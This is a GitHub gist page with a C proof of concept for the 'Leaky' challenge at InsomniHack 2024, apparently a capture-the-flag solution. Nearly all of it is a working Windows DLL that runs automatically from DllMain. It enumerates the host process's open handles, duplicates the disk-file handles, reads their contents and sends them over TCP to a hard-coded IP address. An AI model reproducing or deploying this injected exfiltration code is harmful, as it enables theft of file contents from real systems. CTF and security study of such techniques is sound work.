Skip to content

Instantly share code, notes, and snippets.

@plowsec
Created April 27, 2024 12:53
Show Gist options
  • Select an option

  • Save plowsec/43e4542a5fd6a4f7bebeedc38c9f4e9c to your computer and use it in GitHub Desktop.

Select an option

Save plowsec/43e4542a5fd6a4f7bebeedc38c9f4e9c to your computer and use it in GitHub Desktop.
PoC for Leaky InsomniHack 2024
#include <winsock2.h>
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Ws2_32.lib")
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
#define VERSION_NUMBER "v1.0"
#define MAX_PROCESSES 200
#define MAX_FILE_HANDLES 100
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectBasicInformation 0
#define ObjectNameInformation 1
#define ObjectTypeInformation 2
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
HANDLE ObjectHandle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
/*
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
*/
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
void EnumerateInheritedHandles();
HANDLE g_hThread = NULL;
HANDLE g_hThreadCompleted = CreateEvent(NULL, TRUE, FALSE, NULL); // event for thread completion
HANDLE g_hStartEvent = NULL; // event handle to signal star
DWORD WINAPI ThreadFunc(LPVOID lpParam) {
OutputDebugString(L"Threadfunc\n");
WaitForSingleObject(g_hStartEvent, INFINITE);
EnumerateInheritedHandles();
OutputDebugString(L"Done\n");
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
g_hStartEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!g_hStartEvent) {
OutputDebugString(L"Fail\n");
return FALSE;
}
OutputDebugString(L"ajfnsinfsi\n");
g_hThread = CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL);
if (!g_hThread) {
OutputDebugString(L"Trhead could not be created\n");
// Handle error
CloseHandle(g_hStartEvent);
return FALSE;
}
SetThreadPriority(g_hThread, THREAD_PRIORITY_ABOVE_NORMAL);
ResumeThread(g_hThread);
SetEvent(g_hStartEvent); // Signal the thread
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
// Optional: Handle thread attach/detach if necessary
break;
case DLL_PROCESS_DETACH:
/*OutputDebugString(L"Unload 1\n");
if (g_hThread) {
OutputDebugString(L"Unload 121\n");
WaitForSingleObject(g_hThread, INFINITE); // Wait for the thread to complete
WaitForSingleObject(g_hThread, INFINITE); // Wait for the thread to complete
OutputDebugString(L"Done waiting\n");
CloseHandle(g_hThread);
CloseHandle(g_hStartEvent);
}
else {
OutputDebugString(L"Unload scdsd1\n");
}*/
g_hThread = CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL);
WaitForSingleObject(g_hThread, INFINITE);
// nani
EnumerateInheritedHandles();
break;
}
return TRUE;
}
void ReadFileContentAndSend(HANDLE fileHandle);
void SendStuff(const char* data) {
const char* server = "10.10.1.108";
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL, * ptr = NULL, hints;
const char* port = "80";
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
OutputDebugString(L"WSAStartup failed\n");
return;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
iResult = getaddrinfo(server, port, &hints, &result);
if (iResult != 0) {
OutputDebugString(L"getaddrinfo failed: %d\n");
WSACleanup();
return;
}
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
OutputDebugString(L"socket failed: %ld\n");
WSACleanup();
return;
}
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
OutputDebugString(L"Unable to connect to server!\n");
WSACleanup();
return;
}
iResult = send(ConnectSocket, data, (int)strlen(data), 0);
if (iResult == SOCKET_ERROR) {
OutputDebugString(L"send failed: %d\n");
closesocket(ConnectSocket);
WSACleanup();
return;
}
OutputDebugString(L"Bytes Sent\n");
closesocket(ConnectSocket);
WSACleanup();
}
void ReadFileContentAndSend(HANDLE fileHandle) {
DWORD bytesRead;
char buffer[1024];
ZeroMemory(buffer, sizeof(buffer));
SetFilePointer(fileHandle, 0, NULL, FILE_BEGIN);
BOOL readResult = ReadFile(fileHandle, buffer, sizeof(buffer) - 1, &bytesRead, NULL);
if (readResult && bytesRead > 0) {
OutputDebugString(L"Sending the data");
OutputDebugStringA(buffer);
SendStuff( buffer);
}
else {
OutputDebugString(L"Failed to read file content or file is empty.\n");
}
}
void EnumerateInheritedHandles() {
const char* server = "10.10.1.108";
SendStuff("holaquetal\n");
OutputDebugString(L"Enumerating handles...\n");
DWORD processId = GetCurrentProcessId();
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, processId);
if (snapshot == INVALID_HANDLE_VALUE) return;
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &pe)) {
do {
if (pe.th32ProcessID == processId) {
HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pe.th32ProcessID);
if (processHandle) {
ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
ULONG returnLength;
while (NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, &returnLength) == STATUS_INFO_LENGTH_MISMATCH) {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
}
for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
SYSTEM_HANDLE handle = handleInfo->Handles[i];
if (handle.ProcessId == processId) {
HANDLE dupHandle;
BOOL dupResult = DuplicateHandle(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
if (dupResult) {
DWORD fileType = GetFileType(dupHandle);
if (fileType == FILE_TYPE_DISK) {
OutputDebugString(L"Found file handle\n");
ReadFileContentAndSend(dupHandle);
}
//CloseHandle(dupHandle);
}
}
}
free(handleInfo);
CloseHandle(processHandle);
}
break;
}
} while (Process32Next(snapshot, &pe));
}
CloseHandle(snapshot);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment